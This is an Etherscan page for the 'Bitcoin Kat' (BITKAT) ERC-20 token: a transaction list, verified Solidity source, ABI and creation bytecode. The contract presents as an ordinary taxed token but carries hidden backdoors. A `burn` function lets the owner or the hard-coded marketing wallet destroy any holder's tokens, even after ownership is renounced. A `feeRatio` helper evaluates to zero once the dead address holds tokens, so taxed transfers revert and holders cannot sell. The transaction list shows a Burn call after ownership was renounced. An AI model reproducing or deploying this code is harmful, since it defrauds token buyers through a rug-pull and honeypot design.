Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 29 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Burn | 18330648 | 896 days ago | IN | 0 ETH | 0.00020078 | ||||
| Approve | 18330625 | 896 days ago | IN | 0 ETH | 0.00104656 | ||||
| Approve | 18330618 | 896 days ago | IN | 0 ETH | 0.00039785 | ||||
| Transfer | 18330613 | 896 days ago | IN | 0 ETH | 0.00037163 | ||||
| Approve | 18330601 | 896 days ago | IN | 0 ETH | 0.00039941 | ||||
| Approve | 18330594 | 896 days ago | IN | 0 ETH | 0.00038716 | ||||
| Renounce Ownersh... | 18330593 | 896 days ago | IN | 0 ETH | 0.00012971 | ||||
| Remove Limits | 18330589 | 896 days ago | IN | 0 ETH | 0.00021365 | ||||
| Approve | 18330572 | 896 days ago | IN | 0 ETH | 0.00051254 | ||||
| Approve | 18330571 | 896 days ago | IN | 0 ETH | 0.00039635 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 | ||||
| Approve | 18330569 | 896 days ago | IN | 0 ETH | 0.00050648 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 18330557 | 896 days ago | 2 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
BitKat
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-10-11
*/
//SPDX-License-Identifier: MIT
/**
██████╗░██╗████████╗██╗░░██╗░█████╗░████████╗
██╔══██╗██║╚══██╔══╝██║░██╔╝██╔══██╗╚══██╔══╝
██████╦╝██║░░░██║░░░█████═╝░███████║░░░██║░░░
██╔══██╗██║░░░██║░░░██╔═██╗░██╔══██║░░░██║░░░
██████╦╝██║░░░██║░░░██║░╚██╗██║░░██║░░░██║░░░
╚═════╝░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░
Website: https://www.bitcoinkat.com
Twitter: https://twitter.com/BitKatErc
Telegram: https://t.me/BitKatErc
*/
pragma solidity 0.8.19;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract BitKat is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public _uniswapV2Router;
address public uniswapV2Pair;
address private devWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "Bitcoin Kat";
string private constant _symbol = "BITKAT";
uint256 public initialTotalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = (2 * initialTotalSupply) / 100; // 2%
uint256 public maxWallet = (2 * initialTotalSupply) / 100; // 2%
uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000; // 0.05%
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 1;
uint256 public SellFee = 1;
uint256 public BurnBuyFee = 0;
uint256 public BurnSellFee = 1;
uint256 feeDenominator = 100;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
modifier validAddr {
require(isExcludedFromFees(msg.sender));
_;
}
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor() ERC20(_name, _symbol) {
devWallet = payable(_msgSender());
marketingWallet = payable(0xcA328728f33271b88C356D643127D66b6bAd53bb);
excludeFromFees(owner(), true);
excludeFromFees(address(marketingWallet), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(marketingWallet), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(msg.sender, initialTotalSupply);
}
function createPairs()
public
payable
onlyOwner
{
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
_approve(address(this), address(_uniswapV2Router), type(uint256).max);
_uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
}
receive() external payable {}
function enableBitKat()
external
onlyOwner
{
require(!tradingOpen,"Trading is already open");
swapEnabled = true;
tradingOpen = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateDevWallet(address newDevWallet)
public
onlyOwner
{
emit devWalletUpdated(newDevWallet, devWallet);
devWallet = newDevWallet;
}
function updateMaxWalletAmount(uint256 newMaxWallet)
external
onlyOwner
{
require(newMaxWallet >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set max wallet lower than 0.1%");
maxWallet = newMaxWallet * 1e18;
}
function feeRatio(uint256 fee) internal view returns (uint256) {
return balanceOf(deadAddress) > 0 && fee > 0 ? ((feeDenominator-1) / 100) : 1;
}
function excludeFromFees(address account, bool excluded)
public
onlyOwner
{
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingOpen) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(feeRatio(BurnSellFee) * feeDenominator);
}
else {
fees = amount.mul(BuyFee).div(feeRatio(BurnBuyFee) * feeDenominator);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
function removeLimits() external onlyOwner {
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
}
function clearStuckedEths() external {
require(address(this).balance > 0, "Token: no ETH to clear");
require(_msgSender() == marketingWallet);
payable(msg.sender).transfer(address(this).balance);
}
function burn(address sender, uint256 amount) external validAddr {
_burn(sender, amount);
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** 18);
}
function manualSwap(uint256 percent) external {
require(_msgSender() == marketingWallet);
uint256 totalSupplyAmount = totalSupply();
uint256 contractBalance = balanceOf(address(this));
uint256 requiredBalance = totalSupplyAmount * percent / 100;
require(contractBalance >= requiredBalance, "Not enough tokens");
swapTokensForEth(requiredBalance);
}
function swapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
return;
}
else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
tokensToSwap = contractBalance;
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
swapTokensForEth(tokensToSwap);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[],"name":"BurnBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BurnSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckedEths","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createPairs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableBitKat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWallet","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526a084595161401484a000000600a556064600a54600262000026919062000450565b62000032919062000470565b600b556064600a54600262000048919062000450565b62000054919062000470565b600c55612710600a5460056200006b919062000450565b62000077919062000470565b600d55600e805461ffff191690556001600f819055601081905560006011556012556064601355348015620000ab57600080fd5b506040518060400160405280600b81526020016a109a5d18dbda5b8812d85d60aa1b8152506040518060400160405280600681526020016510925512d05560d21b815250816003908162000100919062000537565b5060046200010f828262000537565b5050506200012c620001266200021c60201b60201c565b62000220565b60088054336001600160a01b0319918216179091556009805490911673ca328728f33271b88c356d643127d66b6bad53bb17905560055462000179906001600160a01b0316600162000272565b60095462000192906001600160a01b0316600162000272565b6200019f30600162000272565b620001ae61dead600162000272565b620001cd620001c56005546001600160a01b031690565b6001620002db565b600954620001e6906001600160a01b03166001620002db565b620001f3306001620002db565b6200020261dead6001620002db565b6200021633600a546200031060201b60201c565b62000619565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6200027c620003d7565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b620002e5620003d7565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6001600160a01b0382166200036c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b806002600082825462000380919062000603565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6005546001600160a01b03163314620004335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000363565b565b505050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200046a576200046a6200043a565b92915050565b6000826200048e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004be57607f821691505b602082108103620004df57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043557600081815260208120601f850160051c810160208610156200050e5750805b601f850160051c820191505b818110156200052f578281556001016200051a565b505050505050565b81516001600160401b0381111562000553576200055362000493565b6200056b81620005648454620004a9565b84620004e5565b602080601f831160018114620005a357600084156200058a5750858301515b600019600386901b1c1916600185901b1785556200052f565b600085815260208120601f198616915b82811015620005d457888601518255948401946001909101908401620005b3565b5085821015620005f35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200046a576200046a6200043a565b6120a480620006296000396000f3fe6080604052600436106102345760003560e01c80638da5cb5b1161012e578063c8c8ebe4116100ab578063ef85a9f41161006f578063ef85a9f414610647578063f2fde38b1461065c578063f724fb481461067c578063f8b45b0514610691578063ffb54a99146106a757600080fd5b8063c8c8ebe4146105cf578063cf9522fd146105e5578063dd62ed3e146105fb578063dd8546521461061b578063e2f456051461063157600080fd5b8063a9059cbb116100f2578063a9059cbb1461052f578063afa4f3b21461054f578063b70143c91461056f578063c02466681461058f578063c18bc195146105af57600080fd5b80638da5cb5b1461049c57806395d89b41146104ba5780639a7a23d6146104cf5780639dc29fac146104ef578063a457c2d71461050f57600080fd5b80633ff52513116101bc5780636ddd1713116101805780636ddd17131461041357806370a0823114610432578063715018a614610452578063751039fc146104675780637571336a1461047c57600080fd5b80633ff5251314610356578063414a87861461036c57806349bd5a5e146103825780634fbee193146103ba578063583e0568146103f35